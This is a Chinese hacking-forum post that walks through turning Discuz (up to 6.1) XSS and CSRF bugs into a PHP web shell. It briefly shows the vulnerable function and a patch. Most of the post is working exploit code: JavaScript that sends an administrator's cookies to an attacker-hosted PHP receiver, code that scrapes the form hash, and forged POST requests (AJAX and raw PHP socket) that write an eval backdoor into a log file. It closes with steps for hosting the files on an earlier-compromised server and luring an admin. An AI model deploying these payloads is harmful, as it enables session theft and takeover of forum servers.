找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3551|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell' P1 ^( U; W7 h: L
By racle @tian6.com
) x3 F! x( |, O欢迎转帖.但请保留版权信息.! E: f+ N. e/ G. X: c( M+ U
受影响版本iscuz<=6.1.0,gbk+utf+big5
6 [( ~% a9 V" M) T# v& [
( ?& ^8 i4 Q0 G" o; E7 n新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
) _4 X  T6 g/ d
1 c. j  h" V" |7 `. i1 q
' t' Q, i  n: l0 Q' B3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
2 z+ C8 g4 E  L% T& Z当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
7 r  b  y  A  K7 O, p6 K& S+ }, V; t
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
1 P- v. d( m1 T, y9 a* w本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS+ K; ^: J2 l; z) J
9 V$ Y( k/ {- X# _
# w$ a; L7 Q% O+ v6 \
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------% t5 I# f1 a3 r9 _0 ~( q

, P3 i3 `- Y2 m- G8 D( b3 B
/ T( m: O" ?) C0 V& j) h* Aproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
* @/ b# s2 B1 q: Y
) d0 H+ x! y$ P- ], Iproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.3 ?( E0 a# T4 j$ d3 }: v

) D/ n  W' ^. O+ J3 kproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.9 H% F6 C4 v. z) Q
6 m* H* r; ?2 o5 W# B* y3 F
& G% P3 w0 C% p% q% m' q4 n: p
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {  B4 m/ B1 ~2 C0 g% a5 u  ^) h

2 e* t% ?: i' @9 M. h        global $runwizardfile, $runwizardhistory;0 S/ M% d# K! r, t- ?" a. R* S. C
& ^5 x' u9 J  ?: q5 `+ D0 e4 {
        $fp = fopen($runwizardfile, 'w');
: ~1 w( R' y( w8 L0 |) F
/ d9 d4 U: l" S  l/ E  C! ^; U' B        fwrite($fp, serialize($runwizardhistory));
. w+ D) C9 P& p2 i7 ]; }9 q) C1 x8 P0 B7 m) ^3 J) V& n
        fclose($fp);
  F% j8 T) @9 P5 W
! Y, o7 z4 d; w  j0 H! B/ U1 ?, z}& q3 q+ e" E; P6 t3 i1 b1 @" H
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.0 }8 x' C4 q' R, i9 W0 K4 V+ @
以下是修补的办法:function saverunwizardhistory() {- p$ @) f) O' ~. m

: C4 I: b5 J9 t7 |2 P        global $runwizardfile, $runwizardhistory;2 S1 L: P- ?9 M3 i# F2 m. S) @

9 W& w6 j8 d' x' V" r% i2 g        $fp = fopen($runwizardfile, 'w');2 m4 O2 L; t! ~4 K, O" A) N
0 w: [' c$ p" D$ r; H1 U
        $s = '<?php exit;?>';
( r! J/ e+ B8 s1 o* j9 C
% [$ r/ X' N! O1 {2 ~8 A        $s .= serialize($runwizardhistory);/ @4 i0 E7 b' ~# N$ m. `

% k, i: S" y: g- d( u5 V9 K        fwrite($fp, $s);
+ J) s7 E; F: {) l, ~6 Q5 X) ]2 t' _) L% b& J5 ^2 Y9 {
        fclose($fp);% b7 b! Q0 `; B. l$ K& s7 v

. D6 j1 R/ X9 [3 m}# U) A' E1 S8 V1 C9 L+ a) L" X5 G6 [
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
6 \# \8 r/ M/ A
  g4 E% ^2 v2 K9 S/ U
4 L" y# K2 k# U5 g
/ e/ P  @/ K4 A4 F----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------4 C$ v& q1 ]# k+ W, |6 A: e% |

- e0 p% l5 Z) g* ^' j' u" _: s" f/ O9 r
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.# P) b. ?5 p* k- a) l! H8 ?1 g! ]

6 z1 S. [+ E! q$ \5 Y" v( x9 q我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
/ f/ E5 A* l' Y+ t4 z8 b2 U
3 P  c9 [) X" Z) {/ x9 o这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
5 {2 |, D" U7 {. U3 G
! t* K- b  \, J5 e% I% Z首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
/ R+ l% X. H7 Y6 W  M3 x) ?1 A
6 g( l" V. k5 @% s6 F- S9 F, Uvar url="http://目标网站/admincp.php";      
8 v) E  ~5 |2 s$ c1 p# D' @/ B( q, p9 d' l
/*获得cookies*/# h8 L; y- h% u& b
/ p+ H' O- F% m) D- W4 ^
function getURL(s) {
' }  Z. b- u. B% l- c( o# w( j- |1 n7 R* ?6 j* y/ p# v: C/ q
var image = new Image();- M! o" @  t& N1 t, V5 A1 e
" b6 H4 n' I6 o' g" D7 s4 U
image.style.width = 0;
) y9 E6 ]- P' l- y/ Y" O6 i
* ?! ?+ T" e- m: o4 uimage.style.height = 0;* I; K0 W* ^: {: @- T) r, H

/ l1 U, s$ l: x2 nimage.src = s;& J  g7 O* P( A
/ u! c( R$ d$ ~
}
7 p" M% \7 s# p7 X) s1 x
7 d: x; ~5 \+ ?$ i+ AgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php; k: l! s/ m/ M1 ]% |! E, Y" i
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];: D6 `$ I9 W6 p- i& j3 s+ q
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
, ^: L5 C3 o* u5 ~5 a4 l7 ?) h# O) K# q2 }8 [5 D6 f1 F

, u9 O3 q* ?; O* X9 V% f+ M, S$ a获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";- d; C2 [0 W; ]8 o: S. [- U* H" ]

7 M) w& C' z' q. y4 s0 ^& p
8 _% h( E+ z% B) [
* }4 n6 p4 D0 T- R, v6 J, D/*hash*/9 Z( p, p( x" s: G, t/ \  d& x7 [
; `9 v: u. c( _
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
5 r# i* G, x  i' M$ {4 A6 F! H! F& \9 L
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
$ B/ {  {; b+ v; J& |5 L  S' H5 ]" ]5 z$ v; S
xmlHttpReq.send();
0 D6 n6 T4 N5 m+ U; C% i# R
8 [3 ]6 a7 C, Fvar resource = xmlHttpReq.responseText;# R5 V# {' ^7 _

4 ?9 m8 N( D/ w7 P9 nvar numero = resource.search(/formhash/);% D3 i( s, N" r4 I) @6 c

% g8 m- {. a# yvar formhash=encodeURIComponent(resource.substr(numero+17,8));
8 @4 `9 a/ c; a0 j" j3 f4 l3 F0 x7 @

" _: u2 Y9 W: C. I* q( M' {8 c0 f# Y
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 / w* H! p' E! m* S+ m( z3 I
( V! N( y- H; K( E$ k
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
) x) S$ k  h& i8 j7 j- ~7 m" Z, [3 J5 S* j
xmlHttpReq.setRequestHeader("Referer", url);3 H) V( p9 |6 a- ?: a
; {7 }2 f% _+ c; o( z/ [* n9 b% m
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");# b& W: v/ n$ w0 |, v" y

5 u! I+ D; r. a) b! M9 H# BxmlHttpReq.setrequestheader("content-length",post.length);
( |2 B" O) |& T( N/ A
0 K1 N" ~+ Z+ K: P6 OxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
+ D6 w4 Y  c9 P' b3 J- \
) a7 f4 B& [0 c; e: W( zxmlHttpReq.send(post);//发送数据" K. }. \& I5 K
复制代码这里HASH我假设正确,这样提交,也无须cookies# P" k6 U7 m$ n

# ]3 _6 E& ~" w4 p再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);( T* q# N1 s; _4 w2 W
/ i$ R3 w8 H5 G
if (!$sock) die("$errstr ($errno)\n");1 ?4 a! j6 j5 _$ Z' x

5 m" ?5 x& k2 S$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
  G! J6 n; q+ ]! [$ q1 D
" Y  \5 m; Z: N. R' E2 E( ~' B9 J  o7 v& _/ X) j2 c
7 d5 g: T9 h3 _  G7 Q" b
fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
4 Q% D/ l" |( X2 H1 l& P9 J1 G/ u8 C0 E' `
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");0 X+ d% d! b" U* [# Z1 n" r" `- Z

  |5 ~4 c: y5 U0 x& kfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
( h* C9 g' M3 K; n" l. z# p. c
2 G  h2 e3 S2 b6 Pfwrite($sock, "Accept-Language: zh-cn\r\n");
- I8 h2 g. s2 V: _) u! Q
1 r. ~: D0 m7 G4 ffwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");) k+ C/ x6 Y+ |* W9 Q' {

/ C% g& C' A: W- V% hfwrite($sock, "Accept-Encoding: gzip, deflate\r\n");7 {( b* K1 o: Z! ^& b8 F; r
* }0 A  D1 E  n, v5 c
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");- ]% d% b3 p# V+ d- D

& {; F! ^0 B0 O  w4 \" B( Zfwrite($sock, "Host: $url\r\n");9 v! ]  ?' l; }$ E9 s/ {6 `

' C; ?( \) m3 _+ q3 gfwrite($sock, "Content-Length: ".strlen($data)."\r\n");  H' C% \( ?% l

3 R; T0 B' F! l( O, \+ D1 pfwrite($sock, "Connection: Keep-Alive\r\n");
% P* S! O+ p0 ^2 f0 z- ?0 ]0 T: M
8 P" W9 x9 t' F' h; B6 xfwrite($sock, "Cache-Control: no-cache\r\n");' Y' R# k9 H/ p
3 q0 c1 H! R# O" X4 b6 `, [- [
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
( C! z3 n: B9 m- f+ v/ f! B7 ~  b! t
$ a0 }5 {7 w' G% _7 A2 |fwrite($sock, $data);
3 [+ N; M4 M: f) }5 i' m+ @5 S: e6 V2 C8 _5 b& p9 ^& J

: H0 i% V5 J- Y* V6 L
8 {3 Q$ E9 v+ a* e. E$headers = "";
, y( D8 F. E9 t8 p: f' o5 I, C
' R! y7 b1 {8 B/ R, {2 I6 T' U# \while ($str = trim(fgets($sock, 4096)))5 Y+ t$ z& v8 b! j0 J

. ?* }1 z% e& E2 n. {( B     $headers .= "$str\n";8 q: U% H, T8 w; n5 j& B* A% a* c- M

# k# M" N( R2 eecho "\n";
! t4 }  o* ^& {6 ]; g$ ?$ w
5 [3 o# [: I8 J2 q9 w1 J9 ]1 Y4 d$body = "";$ w( U! F' l5 j

& h9 B, f4 h; s% {( Ywhile (!feof($sock))/ Q- {0 t, R# h8 A1 R9 x: N

1 T' R2 ~/ y) k/ b/ Y) F$ C     $body .= fgets($sock, 4096);3 |- x4 ^- c* r

6 ^. Z/ f' B0 G& Z# T" ?3 r, [% T! Tfclose($sock);$ O6 g: i- [0 b5 w$ `1 J

  g! _0 b& H3 eecho $body;/ C2 ?  z  {; d& E: O" Y
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
7 D- F# q6 f# `7 x9 |7 L, p, [6 R0 T& c" \' S. }6 h3 {$ X7 [$ R
4 Q/ B5 y7 a& z( S
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------! x9 t' `- i7 P) o9 }; ]
6 O9 {8 O4 i) M0 W+ Q) L3 k
9 p) |5 x& X* k# j
1HP SOCKET利用方法首先打开racle.js8 ^0 c* `& U' _) i( T$ Z7 j
; k7 t  U) j: F
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home2 A0 P' H: `+ V7 ?& A

* R# f" |) x" _- R* s# Y$ y8 {- R: R$ T+ C- T
/ J  u( q& w* i8 F
然后打开racle@tian6.php
0 K+ V( p: G2 D, K" w( z/ r- |( q4 O7 Z- t) K. R
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com( ~3 e5 e- c0 r. @

& Z' X0 \' S7 z/ v: x  |/ k9 R1 c, U' {+ Q6 U' p& t+ s
5 ^$ [8 s* g$ h; u
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:; M! a3 |6 q$ F5 o* w4 ~
8 K4 J+ _7 y. Q
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));6 S* m% `$ |6 ?1 ~( i

% H7 O9 w2 o% p$ x5 h- D8 N
' _. K2 M- G- O( S
( J. g! N( Z; E) o( s: e2 N0 |getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
: M# i/ I) {, B( a复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
% i. Q9 }- r1 V/ M- Z. |5 z
& @2 |0 f0 J. M3 B* c/ }. \  z
3 w# Z' v/ E/ M' m- R! ~: @$ j8 Y
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
9 b. N& s, q4 ?1 d* O. R3 O4 L0 R9 v/ B/ x3 x
var formhash=encodeURIComponent(resource.substr(numero+17,8));6 A1 @+ o- G3 k3 a7 q! S

# P1 o/ l) ]% |% Z- P, S7 i
( o7 Z1 Y; u( ?# _& f
3 y' z, z0 X; C: G9 G8 p9 g6 Evar formhash=encodeURIComponent(resource.substr(numero+9,8));+ N' [6 t0 `$ i+ J
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.( [2 A9 s  r% Z- j2 I

1 d5 V8 n& e5 U如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
) o2 r$ V# G8 G. O' ^" A5 o  X8 d3 r+ w# x
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
( ^5 b+ |/ s, q# v* R
" l. `( c) Q1 C, ^不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
- f7 I( `( e& L7 u; E+ z0 ^ . |  Y: A  i% }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表